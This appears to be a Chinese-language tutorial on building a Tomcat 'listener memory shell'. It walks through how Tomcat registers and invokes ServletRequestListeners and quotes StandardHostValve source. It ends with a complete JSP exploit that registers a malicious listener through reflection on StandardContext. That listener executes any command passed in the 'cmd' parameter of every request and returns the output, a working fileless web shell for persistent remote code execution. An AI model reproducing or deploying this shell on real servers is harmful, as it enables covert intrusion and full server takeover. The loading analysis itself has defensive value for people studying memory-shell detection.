前情提要: 其实大致流程和filter差不多,但是要比filter简单一点,可以算是filter的一部分
流程分析:
一.找到合适的类来当作入口 首先是找到一个当每次有请求时都会调用的一个listener,这里知道的就是servletRequestListener,当每次发送请求的时候都会调用这个监控器
然后我们简单写一个这个实现类,用来检测一下是否真的每次访问都会调用这个类
然后修改一下web.xml里面的值
tips:试验java文件的位置 这个java文件是写在如下图这里的
原因: 是因为web.xml文件是在webapp/web-inf下面的,而我们web.xml文件里面写的是 listener.listener,所以第一个listener文件夹要和webapp是处于同一级,然后再去调用listener文件夹下面的listener的java文件 然后运行tomcat之后,控制台输出listener被调用,说明上面我们的猜测是正确的
二.listener内存马加载原理 然后就是分析内存马在哪里写,要如何写进去,所以我们就要分析一下listener整个的注册和加载过程 最初在启动引用的时候,ContextConfig类会先去读取web.xml文件中的listener,去看一下代码,发现里面有个类configureContext直接传参了一个web.xml
然后去看一下具体的操作就是进行了一些数据的读取以及保存等工作,包括了filter以及我们想要的listener的读取,发现listener的读取调用了一个addApplicationListener方法
然后发现addApplicationListener是一个接口中的方法,然后去看他的实现方法,最后实在StandardContext类里面
这里发现的确是有一个add的方法添加了listener,但是不清楚前面那个applicationEventListenersList是什么东西 其实是当读取完web.xml文件之后,应用启动,tomcat会在StandardContext里面调用一个listenerStart方法,大概作用就是做了一些安全检查之类的操作
但同时我们也发现了一个类似Filter数组的listeners数组,调用了findApplicationListeners方法,跟进去看一下发现是一个数组,其实就是把所有的listener存成了一个数组
然后在执行的时候又会调用StandardContext类里面的
然后再看一下getApplicationEventListeners,发现这刚好就是我们前面所奇怪的applicationEventListenersList,这里就是获取listener数组(toArray方法作用)
最后就是每一个listener会依次调用requestInitialized方法(也就是最终导致马可以执行的地方)
所以这样整个大致流程就清楚了: 首先从web.xml里面获取listener,然后加载放在数组里面,然后逐个读取,最后在调用requestInitialized()方法将恶意listener加载进去 然后写马的大致流程和filter是一样的,但是要比filter简单一点,可以算是filter的一部分 这里要讲一下的就是获取StandardContext,因为要调用里面的方法来添加listener 首先我们可以看代码StandardHostValve里面的invoke方法,它可以通过request方法来获取standardcontext
刚好在jsp里面内置了request对象,我们也可以使用同样的方式来获取
tips:StandardHostValve源码看不到的解决方法 如果这里看不到StandardHostValve源码里的方法,可以在一个java文件里面写一下,然后alt+enter,选择加载maven依赖
然后选择和tomcat版本一样的加载就行,加载完就能看了
然后idea外部库,最下方添加的maven依赖StandardHostValue,然后在如图的core目录下就能找到
StandardHostValue#invoke源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public void invoke(Request request, Response response, ValveContext valveContext) throws IOException, ServletException { if (!(request.getRequest() instanceof HttpServletRequest) || !(response.getResponse() instanceof HttpServletResponse)) { return; } //选择一个Context子容器继续处理Request StandardHost host = (StandardHost) getContainer(); Context context = (Context) host.map(request, true); if (context == null) { ((HttpServletResponse) response.getResponse()).sendError (HttpServletResponse.SC_INTERNAL_SERVER_ERROR,sm.getString("standardHost.noContext")); return; } // 为当前线程绑定ClassLoader Thread.currentThread().setContextClassLoader (context.getLoader().getClassLoader()); //更新session最后的访问时间 HttpServletRequest hreq = (HttpServletRequest) request.getRequest(); String sessionId = hreq.getRequestedSessionId(); if (sessionId != null) { Manager manager = context.getManager(); if (manager != null) { Session session = manager.findSession(sessionId); if ((session != null) && session.isValid()) session.access(); } } // 请求context继续处理Request context.invoke(request, response); }
然后就是根据invoke方法的内容,来示例一下获取standardcontext
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
最后exp(jsp): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.File" %> <%! //这一段是恶意listener的内容,包括了内容回显 class ListenerMemShell implements ServletRequestListener{ @Override public void requestInitialized(ServletRequestEvent sre){ String cmd; try{ cmd=sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade=(org.apache.catalina.connector.RequestFacade)sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request=(Request) requestField.get(requestFacade); Response response=request.getResponse(); if(cmd!=null){ InputStream inputStream=Runtime.getRuntime().exec(cmd).getInputStream(); int i=0; byte[] bytes=new byte[1024]; while((i=inputStream.read(bytes))!=-1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } } catch (Exception e){ e.printStackTrace(); } } @Override public void requestDestroyed(ServletRequestEvent sre){ } } %> //下面这一段是反射获取standardcontext等,并将恶意listener加载到servlet里面 <% ServletContext servletContext=request.getServletContext(); Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext=(ApplicationContext)applicationContextField.get(servletContext); Field standardContextField=applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext=(StandardContext)standardContextField.get(applicationContext); Object[] objects=standardContext.getApplicationEventListeners(); List<Object> listeners=Arrays.asList(objects); List<Object> arrayList=new ArrayList(listeners); arrayList.add(new ListenerMemShell()); standardContext.setApplicationEventListeners(arrayList.toArray()); %>
最后运行tomcat,访问jsp文件,就能执行命令了
总而言之,要比filter简单一点点